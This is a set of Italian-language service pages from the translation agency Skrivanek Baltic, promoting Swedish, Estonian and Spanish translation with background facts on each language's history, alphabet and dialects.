e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole ALCUNI FATTI INTERESSANTI SULLA LINGUA SVEDESE Lo svedese è una lingua indoeuropea parte della sottofamiglia delle lingue germaniche e, più precisamente, appartenente al ramo delle lingue germaniche settentrionali. Essa è imparentata con il norvegese, il danese e l’islandese. Tra esse, la somiglianza maggiore è con il danese, mentre quella minore con il norvegese. Lo svedese è parlato da circa 10 milioni di persone ed è la lingua ufficiale della Svezia, la seconda lingua ufficiale della Finlandia e una delle lingue ufficiali dell’Unione europea e del Consiglio nordico. In Svezia ci sono sei regioni dialettali e il dialetto svedese orientale(östsvenska målen) in Finlandia ne fa parte. In Svezia, da sud a nord, si distinguono i seguenti dialetti: Svedese meridionale (sydsvenska mål), Götaland (götamål), Gotaland (götländska mål), Svealand (sveamål), Bergslagsmål (bergslagsmål) e Norrland (norrländska mål). Essi si differenziano in base alla pronuncia. Ma ci sono anche molti dialetti locali che individui provenienti da altre regioni avrebbero difficoltà a capire. Dato che tutte le lingue scandinave sono state storicamente influenzate dalla lingua basso-tedesca, oggigiorno gli svedesi, i finlandesi e i norvegesi possono capirsi tra loro facilmente. Circa il 30-40% delle parole svedesi sono considerate prestiti della lingua basso-tedesca e queste somiglianze possono essere osservate sia nel vocabolario che nella grammatica. Lo svedese deriva dal norreno antico, lingua che era parlata dalle tribù germaniche durante l”era vichinga. Attorno all’VIII secolo, molte forme di lingue regionali iniziarono a svilupparsi da essa, la quale nell’XI secolo era divisa in quattro dialetti, ossia le lingue germaniche settentrionali: islandese, norvegese, danese e svedese. Quest’ultima contiene molti prestiti: i più antichi sono derivano dal latino, dal greco, dal basso tedesco e dall’alto tedesco, mentre i più recenti dal francese e dall’inglese. Il sistema di scrittura svedese più antico era l”alfabeto runico, il quale fu usato per decorare monumenti storici a partire dall’VIII secolo. L'alfabeto latino fu introdotto nel XIII secolo, quando iniziò il periodo della lingua svedese antica (fornsvenska). Nel Medioevo, ogni provincia aveva le proprie regole e le codifiche di queste leggi (landskapslagar) sono i più antichi testi scritti in svedese. La legge Westrogotica (Äldre västgötalagen; 1225 circa) è considerata il primo testo scritto in svedese di questo tipo. La lingua utilizzata impiegava un abbondante numero di forme: i verbi venivano coniugati a seconda del pronome personale e i sostantivi avevano quattro declinazioni (nominativo, accusativo, dativo e genitivo). Le opere in svedese più significative sono delle cronache risalenti al XIV secolo. La lingua letteraria si è formata nel XVII secolo ed ha due varianti: rikksvenska (in svedese) e finlandssvenska (in finlandese) e si basa sui dialetti provenienti dalla Svealand. Il primo libro in svedese mai stampato è stato pubblicato nel 1495, mentre la prima grammatica di svedese nel 1684 (in latino). Nel 1786, Re Gustavo III (Gustaf III) fondò l’Accademia svedese (Svenska Akademien) per «promuover la purezza, il vigore e la maestà della lingua svedese». L’Accademia svedese è famosa per assegnare il Premio Nobel per la letteratura. Ma essa conferisce anche altri premi ed è responsabile della Lista delle parole accademiche svedesi (Svenska Akademiens ordlista), la quale contiene l’ortografia standard delle parole svedesi e le regole che determinano la formazione delle parole. Essa è stata pubblicata per la prima volta nel 1874. In base alla Legge sulle lingue del 2009, lo svedese è la lingua ufficiale della Svezia. Tale legge stabilisce che lo svedese è la lingua generalmente utilizzata in Svezia per la comunicazione nei luoghi pubblici. Essa può essere utilizzata in tutte le sfere sociali, come ad esempio nella comunicazione con gli enti statali. Inoltre, lo svedese è anche lingua ufficiale della Finlandia, al pari del finlandese, e dell’Unione europea. In Svezia ci sono 5 lingue minoritarie: il finlandese, il meänkieli, il sami, il romanì e l’yiddish. Il Parlamento svedese ha anche concesso con una legge lo status di lingua minoritaria alla lingua dei segni svedese mediante. Lo svedese moderno è caratterizzato da uno stile informale e da un’atmosfera accogliente quando si tratta di comunicare con altre persone o con enti statali. A parte poche eccezioni, si da sempre del du ("tu"), anche ad estranei con uno status sociale elevato. Quest’usanza risale agli anni sessanta. L'ALFABETO SVEDESE È dal XIII secolo che lo svedese usa l”alfabeto latino per scrivere, anche se ha poi aggiunto qualche lettera. L'alfabeto svedese è composto da 29 lettere - 9 vocali (a, e, i, o, u, y, å, ä, ö) e 20 consonanti (b, c, d, f, g, h, j, k, l, m, n, p, q, r, s, t, v, w, x, z). Di queste, W e Q sono utilizzati solo nei titoli o nei prestiti. QUANTO È DIFFICILE LA LINGUA SVEDESE? Imparare a capire, parlare e pensare in un’altra lingua è un processo stimolante che richiede tempo. Esso non aiuta solamente ad espandere la nostra conoscenza, ma anche ad acquisire nuove informazioni riguardanti una nazione e la sua cultura e tradizioni. Le opinioni sul livello di difficoltà dello svedese sono piuttosto contrastanti. Gli europei di lingua madre inglese o tedesca, o coloro che hanno imparato tali lingue, non avranno troppe difficoltà ad imparare lo svedese dato che, ad esempio, questa lingua ha molti prestiti da esse derivati. A partire dal XX secolo, la grammatica dello svedese subì una graduale semplificazione: le forme plurali dei verbi caddero in disuso e le coniugazioni si ridussero a due. I sostantivi hanno due generi: comune e neutro. Tra essi, il più diffuso è quello neutro, con i quali è utilizzato l’articolo en, mentre per quelli di genere comune è utilizzato ett. È interessante anche notare che i nomi in svedese hanno due forme: definita e indefinita. Gli aggettivi concordano in genere e numero con i sostantivi a cui si riferiscono e ciò è visibile nella loro desinenza che cambia di conseguenza. Come il lettone, lo svedese ha due tipi di congiunzioni: subordinanti e coordinanti. Inoltre, l'ordine delle parole della frase è rigoroso e definito. Per altro, essendoci due toni che possono cambiare il significato della parola, la pronuncia di questa lingua potrebbe dare qualche difficoltà. Tuttavia, essi rendono lo svedese molto bello e melodico. Uno dei maggiori vantaggi dell’apprendere lo svedese è quello di poter capire anche il norvegese e il danese. Secondo il Foreign Service Institute degli Stati Uniti, per parlare correntemente lo svedese sono necessarie 750 ore di studio. I NOSTRI TRADUTTORI E INTERPRETI DI SVEDESE Il team di traduttori e interpreti di svedese di Skrivanek forniscono sia traduzioni scritte di documenti standard che traduzioni tecniche, ma anche traduzioni certificate da un notaio. Ci occupiamo anche della correzione di bozze e del miglioramento stilistico di testi in svedese. Naturalmente, I nostri linguisti possono informarvi sulle differenze culturali, su come lavorare con partner commerciali svedesi e sulla storia e tradizioni di questa nazione. Tutti i traduttori, interpreti, correttori di bozze e revisori hanno firmato un accordo di riservatezza. Pertanto, potete affidarci i vostri testi da tradurre. I servizi di traduzione che forniamo più spesso da e verso lo svedese alle aziende nostre clienti sono la traduzione di contenuti di siti web e di e-commerce, adattamento di slogan pubblicitari, traduzioni di testi di marketing, di accordi di cooperazione, di documentazione commerciale e di testi tecnici. Forniamo inoltre anche servizi di interpretazione consecutiva in occasione di incontri di lavoro o di altro tipo e in occasione di conferenze. Per i privati, eseguiamo traduzioni di documenti di riconoscimento, certificati di matrimonio, certificati di nascita, documenti relativi all’istruzione o alla formazione, passaporti, documentazione medica, ecc. DOVE E QUANTE PERSONE PARLANO SVEDESE? Sono circa 10 milioni le persone nel mondo che parlano svedese e la maggior parte di esse si trova in Svezia (9,4 milioni). In questa nazione, la maggior parte della popolazione ha lo svedese come lingua madre o come seconda lingua. Anche circa il 5% della popolazione della Finlandia è madrelingua svedese (290. 000 persone circa). Lo svedese è inoltre una materia obbligatoria nelle scuole finlandesi e, di conseguenza, in Finlandia sono in molti a capirlo o a parlarlo. Tuttavia, questo dato varia di regione in regione. Ad esempio, la regione autonoma finlandese di Åland è praticamente di lingua svedese. Inoltre, individui di lingua svedese hanno vissuto nelle regioni costiere dell’Estonia per centinaia di anni. La maggior parte di loro cercò poi rifugio in Svezia durante la Seconda guerra mondiale. A causa della grande ondata migratoria partita dall’Europa settentrionale verso l”America settentrionale a cavallo tra il XIX e il XX secolo, sono diversi i cittadini statunitensi con radici svedesi: sono circa 70. 000 e la maggior parte di loro sta cercando di mantenere viva la lingua dei loro antenati. Gli svedesi si trovano anche in Canada, sono circa 20. 000, ma piccole comunità sono presenti anche in Spagna e in Inghilterra. In più, quando alla fine del XVIII secolo furono banditi dall’Estonia, un piccolo numero di svedesi si stabilì nel sud dell’Ucraina e fondò il cosiddetto antico villaggio svedese Staroshvedske (Gammalsvenskby (Gammölsvänskbi)). LO SVEDESE NEL COMMERCIO Al di fuori dei paesi scandinavi, lo svedese è raramente utilizzato per la cooperazione commerciale. Di fatti, nonostante sia una delle lingue ufficiali dell’Unione europea, essa non ha un ruolo significativo nel commercio internazionale. Le scuole e i corsi per apprendere lo svedese hanno acquisito popolarità in diverse nazioni europee e sempre più persone vogliono imparare questa lingua, dato che dà la possibilità di trovare un lavoro ben pagato in aziende che cooperano con imprenditori svedesi. SVEZIA E LETTONIA Svezia e Lettonia sono unite da avvenimenti storici che hanno interessato entrambe le nazioni e da un’attiva cooperazione, la quale è caratterizzata da una stretta comunicazione su tutti i livelli e settori, nonché dallo stesso obiettivo in termini di stabilità, prosperità e sicurezza nella regione del mar Baltico e in Europa in generale. La Svezia è sicuramente uno dei partner economici più importanti della Lettonia. L’ambasciata svedese a Riga, la quale fu stabilita il 29 agosto 1991, fu una delle prime ambasciate a stabilirsi in Lettonia dopo che la nazione riacquisì l”indipendenza. Nel 2019 è stato istituito il Fondo di cooperazione Svezia-Lettonia, il cui obiettivo principale è quello di facilitare la cooperazione tra le due nazioni, incoraggiando lo scambio di contatti, conoscenza e informazioni, nonché di diffondere il Lettone in Svezia e viceversa. Lettonia e Svezia cooperano attivamente anche nella sfera della cultura, come dimostrano gli stretti legami che uniscono i musei e gli esperti nella protezione dei monumenti delle due nazioni. Ma tale collaborazione comprende anche le biblioteche, il patrimonio culturale, il teatro, la danza, ecc. e avviene nel contesto di diverse piattaforme di cooperazione internazionale. Nel 2014, Riga e la città svedese Umeå sono state capitali europee della cultura. Evidenziando la loro ricchezza e diversità culturale in Europa e nel mondo, le due città hanno anche avviato dei progetti congiunti e stabilito contatti per una futura cooperazione. Anche il Museo etnografico lettone all’aperto coopera con successo con la Svezia; esso è stato creato ispirandosi dal museo svedese Skansen. Inoltre, sono tanti anni che la Biblioteca nazionale svedese e quella lettone hanno un rapporto di collaborazione. In più, scrittori e traduttori svedesi visitano spesso la Casa degli Scrittori Internazionali e Traduttori di Ventspils. La Svezia ha anche contribuito in maniera significativa alla fondazione e allo sviluppo della Stockholm School of Economics di Riga (dal 1994) e della Graduate School of Law di Riga (dal 1997) dopo il ripristino dell’indipendenza della Lettonia. Entrambe le università offrono un'istruzione altamente competitiva a livello internazionale. Studenti ed insegnanti provenienti da entrambe le nazioni sfruttano opportunità di studio in Svezia e Lettonia. Inoltre, le università lettoni cooperano con successo con la Svezia nel contesto dei programmi dell’Unione europea BRILLIANT, ERASMUS + e CAMART. Nell’offerta formativa dell’Accademia di cultura lettone è presente il programma «Comunicazione interculturale - Svezia». Per di più, l'Università della Lettonia dà la possibilità di studiare svedese, mentre all'Università di Stoccolma si può studiare il lettone. L'Ambasciata di Svezia in Lettonia si occupa di rappresentare gli interessi dei cittadini svedesi in Lettonia. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO LO SVEDESE: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a svedese; da svedese a lettone; da estone a svedese; da svedese a estone; da lituano a svedese; da svedese a lituano; da russo a svedese; da svedese a russo; da svedese a ceco; da ceca a svedese; da polacco a svedese; da svedese a polacco; da ucraino a svedese; da svedese a ucraino; da svedese a spagnolo; da spagnolo a svedese; da tedesco a svedese; da svedese a tedesco; da italiano a svedese; da svedese a italiano; da francese a svedese; da svedese a francese; da danese a svedese; da svedese a danese; da norvegese a svedese; da svedese a norvegese; da inglese a svedese; da svedese a inglese; da finlandese a svedese; da svedese a finlandese, ma anche altre combinazioni. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO LO SVEDESE: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a svedese; da svedese a lettone; da estone a svedese; da svedese a estone; da lituano a svedese; da svedese a lituano; da russo a svedese; da svedese a russo; da svedese a ceco; da ceca a svedese; da polacco a svedese; da svedese a polacco; da ucraino a svedese; da svedese a ucraino; da svedese a spagnolo; da spagnolo a svedese; da tedesco a svedese; da svedese a tedesco; da italiano a svedese; da svedese a italiano; da francese a svedese; da svedese a francese; da danese a svedese; da svedese a danese; da norvegese a svedese; da svedese a norvegese; da inglese a svedese; da svedese a inglese; da finlandese a svedese; da svedese a finlandese, ma anche altre combinazioni. --- > Traduzioni generali e specialistiche in lingua estone. Interpretazione e altri servizi in lingua estone. Richiedete un preventivo gratuito! - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-igaunu-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO L’ESTONE È DISPONIBILE IL LISTINO PREZZI PER LE TRADUZIONI? Naturalmente. Il listino prezzi dei servizi di traduzione scritta, come anche di quelli di interpretazione, di localizzazione e di adattamento da e verso l’estone è parte integrante dell’accordo di cooperazione che stipuliamo con in nostri clienti. Prima di iniziare il progetto di traduzione, i project manager di Skrivanek Baltic forniscono sempre informazioni sul prezzo dell’ordine. Il preventivo è pronto in circa 30 minuti. Per quanto riguarda le traduzioni scritte, parametri come il numero di parole e di ripetizioni del testo di partenza e la complessità dell’elemento grafico concorrono alla definizione del prezzo finale. Volete sapere quanto costa la vostra traduzione? Mandateci il materiale da tradurre e vi proporremo un prezzo personalizzato. Avete bisogno di un servizio di traduzione da/verso l’estone? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua estone: Traduzione di documenti in estone Interpretazione simultanea in estone Validazione linguistica di traduzioni in estone Interpretazione consecutiva in estone Trascrizione in estone Grafica e composizione tipografica in estone Servizi di voice over e di sottotitolaggio in estone Servizi di selezione di staff estone Marketing multiculturale in estone Gestione di documenti in estone Servizi di deposizione in estone Servizi di data room virtuali in estone Supporto per l'e-learning in estone Cercate un servizio linguistico in estone? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia ALCUNI FATTI SULLA LINGUA ESTONE L’estone è parlato nelle regioni dell’Europa settentrionale ed appartiene al ramo baltofinnico della famiglia delle lingue ugrofinniche. Secondo gli studiosi, le tribù proto-ugro-finniche abitavano in un territorio molto vasto che si estendeva ben oltre la catena montuosa degli Urali, dove invece vivevano le tribù iraniane. Tuttavia, attorno al 3000 a. C. si trasferirono e si avvicinarono al mar Baltico dove iniziarono a stabilire strette relazioni culturali con le tribù baltiche locali. Nei monumenti archeologici, queste tribù sono riconosciute come i rappresentanti della cultura della ceramica a pettine. L’estone è imparentato con la lingua livone, finlandese e votica, ma è differente dalle lingue delle confinanti Russia, Lettonia e Svezia. L’Estone e il finlandese si sono sviluppate quando le tribù proto-ugro-finniche, che utilizzavano la cosiddetta lingua proto-finnica per comunicare, si divisero. L’estone moderno è molto differente dal proto-finnico e dal finlandese. Tuttavia, in estone sono ancora in uso alcuni arcaismi che invece in finlandese sono scomparsi. L’estone conta circa 1,1 milioni di parlanti ed è seconda lingua più piccola del mondo ad avere lo status di lingua ufficiale (la prima è l”islandese). Essa è usata come lingua ufficiale in Estonia e come lingua minoritaria in Russia e Lettonia. L'estone ha due dialetti: il dialetto del nord (usato a Tallinn) e quello del sud (usato a Tartu). Mentre il primo è utilizzato anche nelle isole estoni, dove ha forti influenze svedesi: nelle contee di Lääne, Harju, Järva e Viru, nonché nelle parti settentrionali delle contee di Pärnu, Viljandi e Tartu. Il secondo è parlato nelle zone settentrionali delle contee di Pärnu Viljandi e Tartu. L’estone letterario moderno è basato principalmente sul dialetto settentrionale. Dal XVI secolo ci sono due varietà di lingua scritta, una per ogni dialetto parlato nella nazione. La traduzione della Bibbia pubblicata nel 1739 è stata molto importante nello sviluppo della lingua estone letteraria per il fatto che è stata la prima opera ad includere entrambe le varietà. Il linguisti più conosciuti del XIX secolo che hanno preso parte attivamente nella creazione della lingua estone letteraria sono stati Ed. Ahrens, F. J. Wiedemann, J. Hurt e M. Veske. Da qui in poi la letteratura estone ha visto un rapido sviluppo. L'evoluzione della scrittura estone è affascinante. Alla fine del XIX secolo, il linguista M. Veske iniziò un movimento mirato ad incorporare le caratteristiche fonetiche di certi dialetti nella lingua scritta. Il successo di questo movimento fu tale che per un periodo in Estonia ci furono due lingue letterarie parallele. I prestiti linguistici più antichi sono di origine baltica, germanica, indoiranica e slava, mentre quelli più recenti provengono dal lettone, russo, tedesco e svedese. Tuttavia, in estone ci sono pochi internazionalismi. Il sistema di scrittura è basato sull’alfabeto latino e presenta ancora delle influenze tedesche: contiene tre lettere indipendenti con il segno diacritico umlaut (Ä, Ö e Ü). L’estone è una lingua ricca di casi grammaticali: sono quattordici. Oltre ai casi più comuni, ossia il genitivo e il nominativo, la lingua presenta anche il partitivo (parte o quantità di un oggetto), l’illativo (moto verso qualcosa o verso un luogo al chiuso), l’elativo (moto da un luogo chiuso verso l”esterno), l’allativo (moto verso un luogo all’aperto), l’adessivo (stato in luogo all’aperto senza essere in contatto con nulla), l’ablativo (moto di allontanamento da qualcosa), l’essivo (luogo o qualità di essere), il translativo (processo di cambiamento o diventare qualcosa), il comitativo o di accompagnamento (essere in compagnia di qualcuno) e terminativo o restrittivo (limiti nello spazio o nel tempo). La lingua è caratterizzata da un gran numero di vocali, le quali sono classificate a secondo della loro lunghezza: brevi, semilunghe, lunghe ed extralunghe. Anche i dittonghi e le consonanti possono essere brevi, semilunghi e lunghi. L’estone è composto per il 45% da vocali e per il 55% da consonanti. Il sistema verbale estone ha quattro tempi: il presente e tre tipi di passato, ma non ha il futuro. I verbi estoni possono avere due forme di infinito. L’accento principale è sempre nella prima sillaba della parola, mentre la terza sillaba ha un accento secondario. L’ordine delle parole è abbastanza libero e il significato della frase può essere capito anche senza utilizzare un ordine appropriato. Tutti i nomi e gli aggettivi hanno le stesse desinenze al singolare e al plurale. Per quest’ultimo si usano suffissi speciali. Inoltre, dato che non ci sono generi grammaticali, lo stesso pronome è utilizzato per entrambi i generi. Non esiste neanche il superlativo. Le particelle intensificanti sono invece utilizzate alla fine delle parole per indicare gradi di qualità. L’estone ha un sistema di modi e una coniugazione negativa particolari. Ma non ha preposizioni, quindi non possono essere utilizzate per accompagnare i verbi. Questo spiega la presenza di così tanti casi grammaticali. L’estone è considerata una delle lingue più difficili al mondo. Codice lingua: ISO 639-1: et I NOSTRI SERVIZI LINGUISTICI IN LINGUA ESTONE PIÙ RICHIESTI: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche; etc. COMBINAZIONI LINGUISTICHE: Da lettone a estone; da estone a lettone; da estone a ceco; da ceco a estone; da lituano a ceco; da ceco a lituano; da russo a estone; da polacco a estone; da estone a polacco; da ucraino a estone; da estone a ucraino; da inglese a estone; da estone a inglese; da estone a spagnolo; da spagnolo a estone; da tedesco a estone; da estone a tedesco; da italiano a estone; da estone a italiano; da francese a estone; da estone a francese; da danese a estone; da estone a danese; da norvegese a estone; da estone a norvegese; da svedese a estone; da estone a svedese; da finlandese a estone; da estone a finlandese, ma anche altre combinazioni. I NOSTRI SERVIZI IN LINGUA ESTONE PIÙ RICHIESTI: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche; etc. COMBINAZIONI LINGUISTICHE: Da lettone a estone; da estone a lettone; da estone a ceco; da ceco a estone; da lituano a ceco; da ceco a lituano; da russo a estone; da polacco a estone; da estone a polacco; da ucraino a estone; da estone a ucraino; da inglese a estone; da estone a inglese; da estone a spagnolo; da spagnolo a estone; da tedesco a estone; da estone a tedesco; da italiano a estone; da estone a italiano; da francese a estone; da estone a francese; da danese a estone; da estone a danese; da norvegese a estone; da estone a norvegese; da svedese a estone; da estone a svedese; da finlandese a estone; da estone a finlandese, ma anche altre combinazioni. --- > Traduzioni generali e specializzate, interpretazione e altre soluzioni in lingua spagnola con certificazione notarile. Corsi di lingua spagnola; - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-spanu-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO LO SPAGNOLO QUANTO COSTANO LE TRADUZIONI DA E VERSO LO SPAGNOLO? Il costo delle traduzioni da e verso lo spagnolo è calcolato singolarmente per ogni ordine e dipende dalle sue caratteristiche specifiche. Ad esempio, il prezzo dei servizi di interpretazione simultanea e consecutiva e di chuchotage si basa sulla durata del servizio, sul luogo dell’evento, sulle spese di viaggio e sulla diaria. Per i servizi di interpretazione simultanea, ci sono delle spese aggiuntive dovute al supporto tecnico, le quali dipendono dal numero di partecipanti all’evento, la disponibilità dell’attrezzatura tecnica, ecc. Per quanto riguarda le traduzioni scritte invece, per decidere il prezzo sono considerati il volume e la leggibilità del materiale da tradurre, il termine di consegna del lavoro, la complessità della terminologia, le ripetizioni all’interno del testo, l’elaborazione e la formattazione di immagini e grafiche, la revisione, come anche altri servizi richiesti dal cliente. È DISPONIBILE IL LISTINO PREZZI? Sì, il listino prezzi dei servizi di traduzione e di interpretazione (simultanea e consecutiva), da e verso lo spagnolo è parte integrante dei contratti stipulati con in nostri clienti. Prima dell’inizio di ogni progetto di traduzione, i project manager di Skrivanek Baltic preparano sempre le informazioni riguardanti il costo del lavoro in modo dettagliato. Il preventivo è pronto in circa 30 minuti. Per le traduzioni scritte, il prezzo varia a seconda del numero delle parole nel testo di partenza, della complessità degli elementi grafici, del numero di ripetizioni, ma anche a seconda di altri parametri. Volete sapere quanto costa tradurre i vostri documenti? Mandateci un’e-mail con il materiale da tradurre! Avete bisogno di un servizio di traduzione da/verso lo spagnolo? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! I nostri servizi in lingua spagnola includono: Traduzione di documenti in spagnolo Interpretazione simultanea in spagnolo Validazione linguistica di traduzioni in spagnolo Interpretazione consecutiva in spagnolo Trascrizione in spagnolo Grafica e composizione tipografica in spagnolo Servizi di voice over e di sottotitolaggio in spagnolo Servizi di selezione di staff spagnolo Marketing multiculturale in spagnolo Gestione di documenti in spagnolo Servizi di deposizione in spagnolo Servizi di data room virtuali in spagnolo Supporto per l'e-learning in spagnolo Cercate un servizio linguistico in spagnolo? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole ALCUNI FATTI INTERESSANTI SULLA LINGUA SPAGNOLA Lo spagnolo o castigliano è una lingua romanza appartenente alla famiglia delle lingue indoeuropee ed è la lingua nativa di 400 milioni di persone in tutto il mondo, le quali si trovano soprattutto nella penisola iberica e nelle Americhe. Lo spagnolo è la seconda lingua più diffusa al mondo per numero di parlanti ed è diffuso in Europa, America, Africa, Asia e persino in Oceania. Lo spagnolo è la lingua ufficiale di 21 Paesi. Il 72% degli spagnoli parla spagnolo, il resto parla catalano, galiziano, basco o altre lingue. Dato che lo spagnolo è diffuso in diverse parti del mondo, questa lingua è caratterizzata da diverse varianti o dialetti. Lo spagnolo usato a Madrid e Barcellona è infatti diverso in termini di grammatica e vocabolario, ma il divario si allarga ancora di più andando in America Latina. Lo spagnolo ha circa 10 dialetti e il più diffuso tra essi è quello castigliano, il quale è insegnato a scuola, è usato in televisione ed è la lingua della letteratura. Altri dialetti sono lo spagnolo latinoamericano, andaluso, messicano, colombiano, caraibico, ecc. Nonostante non sia chiaro quando nelle zone della moderna Spagna centrale e settentrionale il latino si trasformò in spagnolo, ciò che si sa per certo è che la lingua della regione castigliana diventò una lingua parzialmente separata grazie a re Alfonso, il quale provò standardizzare la lingua utilizzata per fini ufficiali nel XIII secolo. Le prime grammatiche spagnole furono pubblicate nel 1492, lo stesso anno in cui Cristoforo Colombo scoprì l’America. Lo spagnolo è una delle lingue più fonetiche del mondo; basta sapere come è scritta una parola per sapere la sua pronuncia. Le eccezioni riguardano solo i neologismi di origine straniera, i quali mantengono spesso la grafia originale. La Reale Accademia Spagnola (Real Academia Española), fondata nel XVIII secolo, è considerata l’organismo responsabile dello spagnolo standard. Essa si occupa dei dizionari e dei manuali di grammatica. Anche se le decisioni dell'Accademia non hanno valore legale, sono ampiamente seguite sia in Spagna che in America Latina. Una delle riforme linguistiche che sono state discusse nell’Accademia è l'introduzione del punto interrogativo e del punto esclamativo invertiti(¿e¡) in spagnolo. Oltre al latino, un’altra lingua che ha avuto un grande impatto sullo spagnolo è l’arabo. Tuttavia, date le centinaia di parole relative alla tecnologia e alla cultura, oggigiorno è l’inglese ad esercitare l’influenza maggiore sullo spagnolo. Lo spagnolo è una delle sei lingue ufficiali delle Nazioni Unite, ma è anche lingua ufficiale dell’Unione Europea, del Mercosur, della FIFA e di altre organizzazioni internazionali. Con una velocità di 7,82 sillabe al secondo, lo spagnolo è la seconda lingua più veloce al mondo, più lenta solo del giapponese che invece ha una velocità di 7. 84 sillabe al secondo. Lo spagnolo è considerato la lingua più romantica del mondo. Fino al XVIII secolo, lo Spagnolo è stato l’unica lingua democratica del mondo. L'ALFABETO SPAGNOLO Come la maggior parte delle lingue europee, lo spagnolo utilizza una variante dell’alfabeto latino. Essa è composta da 26 lettere che condivide con molte altre lingue indoeuropee, come ad esempio l'inglese o l'italiano, ma essa comprende anche la lettera ñ, la quale è caratteristica di questa lingua. Oltre alle 27 lettere, ci sono cinque dittonghi o combinazioni di lettere che servono a marcare altri suoni, ossia ch, ll, rr, gu e qu. Nel corso della storia, le regole ortografiche sono cambiate in modo significativo e l'alfabeto spagnolo moderno è il risultato della riforma della lingua spagnola del 2010. La nuova Ortografía de la lengua española (ortografia della lingua spagnola), presentata dalla Reale accademia spagnola (Real Academia Española) nello stesso anno, ha affermato che ci sono 27 lettere nell’alfabeto. Nonostante siano ancora parte dello spagnolo scritto, i dittonghi non fanno più parte dell’alfabeto. La lettera Ñ, che non esisteva in latino e che non è usata in nessun'altra lingua romanza, fu introdotta nel XII secolo dagli scrivani spagnoli. Essi utilizzavano tale lettere come forma abbreviata della doppia n quando copiavano i testi dal latino. È così che una parola latina, come ad esempio annus, diventò la parola spagnola año. QUANTO È DIFFICILE LO SPAGNOLO? Nel XXI secolo il numero di studenti di spagnolo è cresciuto molto. Sono in molti inoltre coloro che scelgono la Spagna come meta dei loro viaggi e quelli che si interessano della storia e delle origini dello spagnolo: è una lingua che ha un potere ammaliante. Lo spagnolo è considerato una delle lingue più facili da 